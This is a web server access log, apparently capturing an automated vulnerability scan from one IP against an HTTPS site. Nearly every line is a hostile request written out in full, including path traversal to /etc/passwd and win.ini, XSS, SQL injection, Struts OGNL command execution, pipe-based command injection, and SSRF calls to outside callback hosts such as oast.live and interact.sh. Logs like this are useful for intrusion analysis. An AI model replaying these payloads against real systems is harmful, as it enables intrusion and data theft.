[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/passwd%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0 HTTP/1.1" 199
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/jolokia/read%3Csvg%20onload=alert%28document.domain%29%3E?mimeType=text/html HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /__ HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jolokia/read/getDiagnosticOptions HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dumpmdm.cmd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cobbler_api HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DISajogt99SUaWCIuvSwbNqv.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/user.php HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX<svg/onload=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /en-US/splunkd/__raw/services/server/info/server-info?output_mode=json HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cms/info.php?mod=list%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/registration HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /chkisg.htm%3FSip%3D1.1.1.1%20%7C%20cat%20%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /invoker/EJBInvokerServlet/ HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/external/7.0/system.System.get_infos HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rest_route=/wp/v2/users/ HTTP/1.1" 3426
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fosagent/repl/download-snapshot?name=..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /img.php?f=/./etc/./passwd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /nagiosql/admin/logbook.php HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sympa?referer=http://interact.sh&passwd&previous_action&action=login&action_login&previous_list&list&email HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /upload/index.php?route=extension/payment/divido/update HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://d5g6to2hausk1oj0j65gk1znuci3jrbdn.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosql/admin/commandline.php?cname=%27%20union%20select%20concat(md5(2086621803))%23 HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.../.../.../.../.../.../.../.../.../windows/win.ini HTTP/1.1" 199
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /nagiosql/admin/menuaccess.php HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DILkNmtPJWnbsapGcnzRFwQy.php%5Cx0A HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uir//etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /modules/attributewizardpro/file_upload.php HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //secureader/javax.faces.resource/web.xml?loc=../WEB-INF HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/login?LD_DEBUG=files HTTP/1.1" 199
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/index.php?id=pages HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action HTTP/1.1" 199
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /command.cgi?cat%20/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?debug_host=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_debug=1 HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hw-sys.htm HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /system/sharedir.php HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /global-protect/login.esp?user=j%22;-alert(1)-%22x HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload; HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/community/?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html/log HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dolibarr/adherents/cartes/carte.php?mode=cardlogin&foruserlogin=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&model=5160&optioncss=print HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fileserver/380DICzfVlC7AJHDii4LQtxeL71.txt HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosql/admin/info.php?key1=%27%20union%20select%20concat(md5(2054648591))%23 HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jkstatus HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/cgi-bin/hi3510/param.cgi?cmd=setmobilesnapattr&cururl=http%3A%2F%2Finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /account HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=11111111%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?op=fileviewer&file=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/php/filebrowser/filebrowser.main.php?file=../../../../../../../../../../etc/passwd&do=download HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mantis/verify.php?id=1&confirm_hash HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /message?title=x&msg=%26%23%3Csvg/onload=alert(1337)%3E%3B HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /meta HTTP/1.1" 220
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zimbra/h/search?si=1&so=0&sfi=4&st=message&csi=1&action&cso=0&id=%22%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /visualrf/group_list.xml?aps=1&start=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&end=500&match HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?next=http://interact.sh/?app.scan/ HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /echo-server.html?code=test&state=http://www.interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /GponForm/diag_Form?images/ HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /filemanager/upload.php HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //www.interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logos_clients/380DIIZtqiLUhnpYKFnoGAF8Mj4.php HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /poc.jsp?cmd=cat+%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /IntellectMain.jsp?IntellectSystem=https://www.interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /filemanager/ajax_calls.php?action=get_file&sub_action=preview&preview_mode=text&title=source&file=../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /session/language?last_page=session%2Flogin&language=en%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&login&CipheredValue HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152 HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ipecs-cm/download?filename=../../../../../../../../../../etc/passwd&filepath=/home/wms/www/data HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /fcgi-bin/wgsetcgi HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/System/MailConnect/host/d5g6to2hausk1oj0j65gsdtann99td6sr.oast.live/port/80/secure/ HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_wmi&controller=../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bibliopac/bin/wxis.exe/bibliopac/?IsisScript=bibliopac/bin/bibliopac.xic&db=\"><script>prompt(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /orders/3 HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET \\..\\..\\..\\..\\Windows\\win.ini HTTP/1.1" 226
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /upload HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID&WEBACCOUNTPASSWORD HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/read%3Csvg%20onload=alert%28document.domain%29%3E?mimeType=text/html HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /base_import/static/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html/device-id HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /blast/nph-viewgif.cgi?../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html/repository HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /services/user/values.xml?var=STATUS HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /select_project.php?url=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuxeo/login.jsp/pwn$%7B31333333330+7%7D.xhtml HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27 HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../Windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/captcha/crypt/cryptographp.php?cfg=1%0D%0ASet-Cookie:%20crlfinjection=1 HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /web/google_analytics.php HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /__raw/services/server/info/server-info?output_mode=json HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent=\"%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION(),md5(999999999)),NULL,NULL,NULL,NULL,NULL--%20aa HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plus/feedback.php/rp4hu%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E?aid=3 HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jasperserver-pro/reportresource/reportresource/?resource=net/sf/jasperreports/../../../../js.jdbc.properties HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=%22%3E%3Cscript%3Ealert(/380DIbgO0y7UMl7i1v5LRi80fXu/)%3B%3C%2Fscript%3E%3C HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /invoker/readonly HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin.php HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wicket/resource/nl.planon.pssm.dashboard.cre.engine.wicket.page.AbstractDashboardPage/html/nodata.html?nodatamsg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html/common/forward_js.jsp?FORWARD_URL=http://evil.com HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927539402 HTTP/1.1" -
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebMstr7/servlet/mstrWeb?evt=3045&src=mstrWeb.3045&subpage=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /...%5C...%5C...%5C...%5C...%5C...%5C...%5C...%5C...%5Cwindows%5Cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sgdadmin/faces/com_sun_web_ui/help/helpwindow.jsp?windowTitle=AdministratorHelpWindow></TITLE></HEAD><body><script>alert(1337)</script><!--&>helpFile=concepts.html HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iwc/idcStateError.iwc?page=javascript%3aalert(document.domain)%2f%2f HTTP/1.1" 196
